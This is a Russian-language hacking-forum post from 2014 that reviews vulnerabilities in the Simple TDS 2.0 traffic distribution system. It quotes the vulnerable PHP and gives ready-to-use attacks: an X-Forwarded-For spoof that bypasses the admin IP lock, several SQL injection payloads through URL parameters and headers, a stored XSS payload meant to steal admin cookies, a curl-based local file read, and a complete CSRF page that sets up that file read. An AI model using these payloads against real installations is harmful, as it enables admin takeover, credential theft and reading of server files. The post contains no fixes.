[ Обзор уязвимостей Simple TDS (sTDS) ]

Discussion in 'Веб-уязвимости' started by Take_IT, 24 Sep 2014.

  1. Take_IT

    Take_IT Banned

    Joined:
    11 Mar 2013
    Messages:
    381
    Likes Received:
    162
    Reputations:
    267
    Продукт: sTDS mod JackSoft
    Версия: 2.0

    Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.

    В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.

    1) Недостаточная фильтрация переменных.

    Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.

    Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.

    Уязвимый код:
    Файл got.php (Строки: 10-12)
    PHP:
     $ua=urldecode($_SERVER['HTTP_USER_AGENT']);
    ...
    if(
    eregi($stop_words$ua)) $ua eregi_replace($stop_words,'xxx',$ua);
    Недостаточная фильтрация переменной $ua

    Файл got.php (Строки: 20,85)
    PHP:
    $ref=urldecode($_SERVER['HTTP_REFERER']);
    ...
    if(
    eregi($stop_words$ref)) $ref eregi_replace($stop_words,'xxx',$ref);
    Недостаточная фильтрация переменной $ref

    Файл got.php (Строки: 83,86)
    PHP:
    $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
    ...
    if(
    eregi($stop_words$refref)) $refref eregi_replace($stop_words,'xxx',$refref);
    Недостаточная фильтрация переменной $refref

    2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.

    Уязвимый код:
    Файл login.php (Строки: 21)
    PHP:
    setcookie('pwd'md5(md5($pass.$alogin)), time()+60*60*8);
    Флаг HttpOnly не устанавливается!

    3) Обход привязки авторизации к IP адресу.

    Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.

    Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.

    Уязвимый код:
    Файл functions.php (Строки: 45-72)
    PHP:
    function getip(){
      If (!empty(
    $_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'], "known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR']))
      {
          
    $ipList explode (","$_SERVER['HTTP_X_FORWARDED_FOR']);
          
    $ip $ipList [0];
      }
    ...
      if (
    preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"$ip) && strlen($ip)<16) {
        return 
    $ip;
      }
      ...
    }
    Функция получения IP адреса текущего юзера. Как видно из кода данная функция получает IP адрес из заголовков а не реальный адрес подключившегося юзера. Такой подход недопустим при авторизации!

    Файл index.php (Строки: 8-26)
    PHP:
    if($is_ip_access == '1')
    {
      
    $is_denied true;
      
    $ip=getip(); //IP-адрес серфера
      
    $ccc sizeof($ip_access);
      for(
    $i=0$i<$ccc$i++)
      {
       if(
    eregi("^{$ip_access[$i]}"$ip))
       {
        
    $is_denied false;
        break;
       }
      }
     if(
    $is_denied == true)
     {
        
    header('HTTP/1.1 403 Forbidden');
        die(
    "<h1>403 Forbidden</h1>");
     }
     }
    Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.

    Пример:
    http://test/path_to_stds/index.php
    Code:
    X-Forwaded-For: [admin_ip] 
    Где [admin_ip] - мы заменяем на IP адрес администратора

    SQL injection
    В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.

    Зависимости:
    Code:
     register_global=ON
    Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection.

    Уязвимый код:
    Файл got.php (Строки: 31-43)
    PHP:
     $ipa file(dirname(__FILE__)."/worldip/worldip.en.txt");
       
    $sss sizeof($ipa);
       for(
    $i=0$i<$sss$i++)
       {
        list(
    $a1$a2$a3$a4$a5$a6) = split(","trim($ipa[$i]));
        
    $ipLstart str_replace('"'''$a3);
        
    $ipLend str_replace('"'''$a4);
        if(
    $ipLo >= $ipLstart && $ipLo <= $ipLend)
        {
          
    $cc str_replace('"'''$a5);
          
    $cn str_replace('"'''$a6);
        }
       }
    Если подменить IP на любой который не входит в базу WorldIP. Переменная $cc не будет инициализирована.

    Файл got.php (Строки: 529)
    PHP:
     $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
    Здесь переменная $cc попадает в запрос



    Пример 1
    Code:
    http://test/path_to_stds/got.php?sid=1&cc=1' 
    Пример 2
    Code:
    http://test/path_to_stds/got.php?sid=1&cc=1','127.0.0.1','','','Opera/9.80','','',%20'http://test1.ru/')%20--%20d 
    SQL injection
    В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active (пример см. ниже), что позволит злоумышленнику украсть данные для входа в админ панель. Необходима правка заголовков HTTP пакета, данная процедура несложна, но у "начинающего" злоумышленника может вызвать затруднение.

    Как было написано выше, в данном приложении выбрана неправильная политика фильтрации входящих данных, что дает возможность злоумышленнику провести атаку SQL injection.

    Уязвимый код:
    Файл got.php (Строки: 10-12)
    PHP:
     $ua=urldecode($_SERVER['HTTP_USER_AGENT']);
    ...
    if(
    eregi($stop_words$ua)) $ua eregi_replace($stop_words,'xxx',$ua);
    Недостаточная фильтрация переменной $ua

    Файл got.php (Строки: 529)
    PHP:
    $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
    Здесь переменная $ua попадает в запрос

    Пример:
    http://test/path_to_stds/got.php?sid=1
    Code:
     User-Agent: 1' 
    SQL injection
    Уязвимый код:
    Файл got.php (Строки: 20,85)
    PHP:
    $ref=urldecode($_SERVER['HTTP_REFERER']);
    ...
    if(
    eregi($stop_words$ref)) $ref eregi_replace($stop_words,'xxx',$ref);
    Недостаточная фильтрация переменной $ref


    Файл got.php (Строки: 529)
    PHP:
     $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
    Здесь переменная $ref попадает в запрос

    Пример:
    http://test/path_to_stds/got.php?sid=1
    Code:
    Referer: 1' 
    SQL injection
    Уязвимый код:
    Файл got.php (Строки: 83,86)
    PHP:
    $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
    ...
    if(
    eregi($stop_words$refref)) $refref eregi_replace($stop_words,'xxx',$refref);
    Недостаточная фильтрация переменной $refref

    Файл got.php (Строки: 529)
    PHP:
     $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
    Здесь переменная $refref попадает в запрос

    Пример:
    http://test/path_to_stds/got.php?sid=1&sref=1'

    XSS passive
    Зависимости:
    Должен быть включен редирект с помощью JS

    Уязвимость эксплуатировать практически невозможно так как необходимо вынудить пользовтеля отправить сфальцифицированный Referer.
    Уязвимый код:

    Файл got.php (Строки: 20,85)
    PHP:
    $ref=urldecode($_SERVER['HTTP_REFERER']);
    ...
    if(
    eregi($stop_words$ref)) $ref eregi_replace($stop_words,'xxx',$ref);
    Недостаточная фильтрация переменной $ref

    Файл got.php (Строки: 564-567)
    PHP:
    $js file_get_contents("redirects/js.txt");
        
    $js str_replace("{ref}"$ref$js);
        
    $js str_replace("{redir_url}"$redir_url$js);
        echo 
    $js;
    Файл redirects/js.txt

    Пример:
    http://test/path_to_stds/got.php?sid=1
    Code:
    Referer: ';alert('11');x=' 
    XSS active
    Несложная эксплуатация данной уязвимости в совокупности с грамотным подходом, даст злоумышленнику легкий шанс попасть в админку.

    Классическое использование данной XSS (отправка cookies на сниффер) даст злоумышленнику два самых важных параметра, необходимых для успешной авторизации в админке: cookies и IP адрес админа. Так как в данном приложении IP адрес можно подделать, то злоумышленник сможет успешно авторизироваться в админ панели.

    При выполнении атаки (в отличие от классического использования) злоумышленнику не потребуется вынуждать администратора выполнять какие либо действия (перейти по ссылке), а достаточно дождаться момента когда администратор зайдет в админку чтобы просмотреть статистику. Именно в этот момент выполнится XSS.
    Уязвимый код:

    Файл got.php (Строки: 83,86)
    PHP:
    $refref=urldecode(substr(stristr(getenv('REQUEST_URI'),'sref='),5));
    ...
    if(
    eregi($stop_words$refref)) $refref eregi_replace($stop_words,'xxx',$refref);
    Недостаточная фильтрация переменной $refref

    Файл got.php (Строки: 125-136)
    PHP:
    if($refref){
    $refref_info=getInfo(trim($refref));
    if(
    $refref_info){
      ...
      
    $se_query=(isset($refref_info['query']))?$refref_info['query']:false;
    }
    Получение компонента $se_query из переменной $refref. Это кейворд по которому юзер пришел из поисковой системы.

    Файл got.php (Строки: 529)
    PHP:
    $qu="INSERT INTO `stats` values ('$dttm', '$sid', '$redir_id', '$cc', '$ip','$ref','$refref','$ua','$se_url','$se_query', '$redir_url')";
    Здесь переменная $se_query попадает в запрос

    Файл stats.php (Строки: 633-636)
    PHP:
    echo "</td><td>";
    $se_query=$line['query_string'];
    echo 
    "$se_query";
    echo 
    "</td></tr>";
    Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.

    Пример:
    Code:
     http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22%3E111%3C/body%3E
    XSS код будет отображен тут:
    http://test/path_to_stds/stats.php

    File read
    Зависимости:
    Необходимы права администратора

    Для чтения любого локального файла необходимо создать аут с url вида:
    Code:
    f{{key}}ile://localhost/[filepath]
    А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:
    Code:
    http://test/path_to_stds/got.php?sid=[schema_num]
    Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла
    Code:
    file://localhost/[filepath]
    Пример:
    1) Создаем аут с Redir Type равным Curl
    Code:
    f{{key}}ile://localhost/С:/boot.ini
    2) Открываем
    Code:
    http://test/path_to_stds/got.php?sid=1
    CSRF
    Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.

    К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.
    Пример:
    Если у злоумышленника получится заманить админа на страницу со специальным содержимым.

    Пример:
    Code:
    <iframe name="IframeScheme" height="1px" width="1px"></iframe>
    <iframe name="IframeOut" height="1px" width="1px"></iframe>
    
    <form name="CreateScheme" action="http://test/path_to_stds/" method="post" target="IframeScheme">
    	<input name="action" type="hidden" value="add">
    	<input name="name" type="hidden" value="[read]">
    </form>
    <script>
    	function SubmitSchemeForm(){
    		document.CreateScheme.submit();
    	}
    	SubmitSchemeForm();
    </script>
    
    <form name="CreateOut" action="http://test/path_to_stds/editout.php?sid=2" method="post" target="IframeOut">
    	<input type="hidden" name="url" value="f{{tds-key}}://localhost/{{tds-path}}">
    	<input type="hidden" name="unics" value="0">
    	<input type="hidden" name="hits" value="0">
    	<input type="hidden" name="sale" value="0">
    	<input type="hidden" name="geo" value="ALL">
    	<input type="hidden" name="empty_ref" value="">
    	<input type="hidden" name="weight" value="1">
    	<input type="hidden" name="redir_type" value="curl">
    	<input type="hidden" name="active" value="true">
    	<input type="hidden" name="out_isparam" value="true">
    	<input type="hidden" name="sid" value="2">
    	<input type="hidden" name="action" value="add">
    </form>
    <script>
    	function SubmitOutForm(){
    		document.CreateOut.submit();
    	}
    	setTimeout(SubmitOutForm, 5000);
    </script>
    То после этого злоумышленник получит возможность читать любой файл:
    Code:
    http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini
    Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid
     
    mit45, nikp, Spider and 1 other person like this.